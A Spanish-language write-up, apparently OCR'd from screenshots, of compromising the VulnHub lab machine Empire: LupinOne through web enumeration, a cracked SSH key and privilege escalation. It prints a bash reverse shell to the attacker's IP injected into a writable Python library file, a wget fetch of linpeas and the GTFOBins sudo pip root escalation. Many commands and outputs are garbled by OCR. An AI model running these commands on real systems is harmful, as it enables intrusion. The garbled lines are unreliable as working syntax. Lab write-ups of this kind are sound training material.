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Introduccion

En este write-up, detallamos el proceso de explotacion de la maquina
virtual Empire: Lupinone de la plataforma VulnHub. A través de diversas fases de
enumeracion y explotacion, se muestra cémo comprometer el sistema, acceder al
usuario Arseney, finalmente, escalar privilegios hasta obtener acceso root.

Este write-up cubre todos los pasos necesarios, desde el escaneo de puertos y
servicios hasta la escalada de privilegios, utilizando herramientas comunes de
pentesting como Nmap, Dirb, FFUF, Linpeas yJohn the Ripper. Vamos a
adentrarnos en este recorrido y explorar cdmo vulnerar esta maquina.

Objetivo

Elobjetivo de este write-up es documentar el proceso de pentesting realizado sobre
la maquina Empire: Lupinone. A lo largo del write-up, se expone cémo fue posible
identificar, explotar y aprovechar vulnerabilidades para comprometer el sistema,
obteniendo acceso root.

Alcance

El write-up abarca las fases de recoleccidon de informacién, enumeracién de
recursos, explotacién de vulnerabilidades, escalada de privilegios y post-
explotacion de la maquina objetivo. EL enfoque es practico, utilizando una serie de
herramientas de pentesting comunes.



Recoleccion de informacion

Comenzamos el proceso utilizando Nmap para obtener informacién sobre los
puertos abiertos y los servicios en ejecucion.
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Resultados del escaneo:
e HTTP-Apache v2.4.48 - Puerto 80
e SSH-0OpenSSH v8.4P1 - Puerto 22

e SO:Linuxv3.2-4.9

Este escaneo inicial nos mostré que habia un servidor web en el puerto 80, asicomo
un servicio SSH disponible en el puerto 22, lo que podria ser clave mas adelante. A
continuacidn, inspeccionamos el sitio web para ver si ofrecia mas informacién o
alguna vulnerabilidad.

En la pagina principal del servidor web, solo encontramos una imagen de Arsene
Lupin, o que sugeria que habia algo mas escondido en la web que merecia explorar.
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Enumeracion

Sabiendo que la pagina web no mostraba nada de valorinmediatamente, decidimos
realizar una enumeracion mas profunda. Para ello, utilizamos herramientas
como Dirb y FFUF para buscar directorios y archivos ocultos que pudieran estar

presentes en el servidor.

Descargamos SeclLists, un conjunto de diccionarios y listas de directorios
comunes, para usarlo en el escaneo con FFUF.
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ZZ -w fhome/kali/Desktop/SecLists-master/Discovery/Web-Content/common.txt

Este escaneo revelé algunos directorios estandar, como los manuales de Apache,
pero no ofrecian nada util. Sin embargo, al consultar el archivo robots.txt,
encontramos un directorio oculto llamado myfile, el cual no estaba protegido.

v2.1.0-dev

Method : GET

URL : http://10.0.2.6/FUZZ

Wordlist : FUZZ: /home/kali/Desktop/SeclLists-master/Discovery/Web-Content/common.txt
Follow redirects : false

Calibration : false

Timeout : 10

Threads : 40

Matcher : Response status: 200-299,301,302,307,401,403,405,500

.hta [Status: 403, Size: 273, Words: 2 Lines: Duration: 11lms]
.htaccess [Status: 403, Size: 273, Words: Lines: Duration: 11lms]
.htpasswd [Status: 403, Size: 273, Words: Lines: Duration: 1lms]
image [Status: 301, Size: 304, Words: 2 Lines: Duration: 3ms]
index.html [Status: 200, Size: 333, Words: Lines: Duration: 4ms]
javascript [Status: 301, Size: 309, Words: 2 Lines: 10, Duration: 1ms]
manual [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 5ms]
robots.txt [Status: 200, Size: 34, Words: 3, Lines: 3, Duration: 4ms]
server-status [Status: 403, Size: 273, Words: 20, Lines: 10, Duration: 3ms]
Progress: [4734/4734] :: Job [1/1] :: @ reg/sec :: Duration: [0:00:00] :: Errors: @

&« : @

Kali Linux #& Kali Tools

er-agent: *
Disallow: /-myfiles




Accedimos al directorio myfiley encontramos mas pistas que nos llevaron a

avanzar en el proceso de enumeracion.

Al continuar explorando directorios ocultos, descubrimos una carpeta
llamada secret, que contenia mas informacién. Aqui obtuvimos un nombre de
usuario, Icex64, lo que sugiri6 que podriamos tener un punto de entrada
interesante.

Ny, PR VAR VAR
A A S S VAN N WY
AT WY Popit L NN

NS N L

vZ2.l.@-dev

it Method
1 URL
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:: Threads
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w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt




Dentro de este directorio, también encontramos un archivo oculto llamado.
mysecret.txt, que contenia una clave SSH cifrada para el usuario Icex64.
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Explotacion

Con la clave SSH en nuestras manos, el siguiente paso fue descifrarla. La clave
estaba codificada en Baseb58, asi que usamos un programa para descifrarla y
obtener la clave real para el acceso SSH.
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Una vez descifrada la clave, la convertimos en un formato queJohn the
Ripper pudiera entender para realizar un ataque de fuerza bruta y obtener la
contrasenfa.
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Con la clave privada lista, establecimos una conexién SSH con la maquina usando
las credenciales del usuario Icex64.



Escalado de privilegios

Ahora que teniamos acceso SSH al sistema, el siguiente paso fue buscar posibles
vulnerabilidades locales que nos permitieran escalar privilegios. Para ello,
utilizamos Linpeas, una herramienta que detecta configuraciones de seguridad
débiles o permisos mal configurados.

)-[~/Desktop/linpeas]

python: ca T Li sktop/linpeas/ = : [Errno 2] No such file or directory

python: ca 1 Wi i .Ser : [Errno 2] No such file or directory

T
port 8000 (http: e geeo/)

Descargamos Linpeas en el sistema objetivo utilizando un servidor de Python
sencillo y lo ejecutamos para obtener mas informacion.

)LupinOne: $ wget http://10.0.2.15:8000/1linpeas.sh

024-09-15 18:47:20— http://10.0.2.15:8000/1inpeas.sh
Connecting to 10.0.2.15:8000 ... connected.
HTTP request sent, awaiting response... 200 0K
Length: 823059 (804K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 10— 3] 803.77K --.-KB/s in 0.004s
2024-09-15 18:47:20 (191 MB/s) - ‘linpeas.sh’ saved [823059/823059]

4aLupinOne: $ I

$ chmod
$ . /finpe

scalation-checklist

: You should t look to it
Users with cons

GID, mounts, .sh scripts, cronjobs)

0110, GNU 1d (GNU Binutils f

[+] /usr/bin/ping (LinPEAS can discover hosts, learn more with -h)

[+] fusr/bin/ (LinPEAS can discover hosts, scan ports, an
d forward ports. Learn more with -h)

[+] /usr/bin/nc (LinPEAS can discover hosts and scan ports, learn more with -h)




El andlisis con Linpeas reveld varias configuraciones que podrian considerarse
inseguras o susceptibles a explotacién en un entorno mal asegurado. Sin embargo,
muchas de estas vulnerabilidades no serian faciles de explotar, ya que requerian
condiciones especificas. Aunque no se trataban de fallos criticos, indicaban que la
seguridad del entorno era deficiente en ciertos aspectos y podria ser mejorada.

Dado que estas vulnerabilidades no parecian ser inmediatamente explotables,
decidimos verificar los permisos de sudo del usuario ejecutando el comando sudo
-L.

icex64aLlupinOne: $adbs
icex64gLupinOne:/$ sudo -1
Matching Defaults entries for icex64 on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
icex64a@Lupinone:/$ I

El analisis mostré que podiamos ejecutar /usr/lib/python3.9 sin contrasefa, lo
que abria la posibilidad de usar esta ruta para cargar una shell inversa.

Usamos el siguiente comando para buscar archivos con permisos elevados en el
sistema:

icexﬁnﬁ[upinﬂne: $ find / -type f -perm -ug=rwx 2>/dev/null
ython3.9/webbrowser.py

51

1cexBG4aLlup

Después de identificar la vulnerabilidad, cargamos un script que nos permitié abrir
una reverse shell en la maquina atacante.

ystem("bin/bash -c '/bin/bash -1 >& /dev/tcp/10.0.2.15/1234 8>51'[)

Con ellisteneractivado en nuestra maquina atacante, ejecutamos el
archivo /usr/lib/python3.9 para establecer la conexion.

|-[~/Documents/linpeas]




icex64aLlupinOne:

arsenealLupinOne:
id

arsenea yindne:

Ya con acceso como el usuario Arséne, el ultimo paso fue escalar a root.
Usamos sudo -l nuevamente y encontramos que el usuario tenia permisos para
ejecutar el comando pip con privilegios elevados. Esto es una vulnerabilidad bien
documentada en GTFOBins.

I Shell H Command H Reverse shell H Non-interactive reverse shell ” Bind shell ” Non-interactive bind shell ]

I File upload H File download H File write H File read H Library load H SUID H Sudo “ Capabilities ]

Limited SUID

pip}
Binary Functions
D;llll ‘ Shell ” Reverse shell H File upload ” File download ” File write H File read ” Library load ” Sudo ‘

Siguiendo las instrucciones de GTFOBins, ejecutamos los comandos necesarios
para obtener una shell con privilegios de root.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

TF=%({mktemp -d)
echo "import os; os.execl('/bin/sh', "sh', "-c', "sh <$(tty) >$(tty) 2:%(tty)}")" > $TF/setup.py
pip install $TF

$ TF=%(mktemp -d)

> $TF/setup.py

echo "import os; . (" /bin/sh', 'sh', '-c¢', 'sh <k(tty) >$(tty) 2>$(tty)’
)" > $TF/setup.py
arseneglLupinOne: s




arseneglupinOne: 1 $ sudo pip install $TF
“rrerrrerrrs*Crs~rre*rr8 (B~ [B*[[B"[[B*[[B*[[B"[[B"[[B*[[B"[[B"[[B*[[B"[[B"[[B*[[B"[[B"[[B"[[BPro
cgssing /tmp/tmp.tcrYQk3LH7

: d: not found

uid=0(root) gid=0(root) groups=0(root)

Conclusion

Este write-up muestra cémo, utilizando herramientas y técnicas comunes en el
pentesting, fue posible comprometer la maquina Empire: Lupin 01. Desde la
recoleccidon de informacidon y enumeracion inicial hasta la escalada de privilegios,
la maquina ofrecid una serie de retos interesantes que requerian el uso estratégico
de diferentes herramientas. El acceso final como root resalta la importancia de
asegurar servicios vulnerables y evitar configuraciones peligrosas en los sistemas.



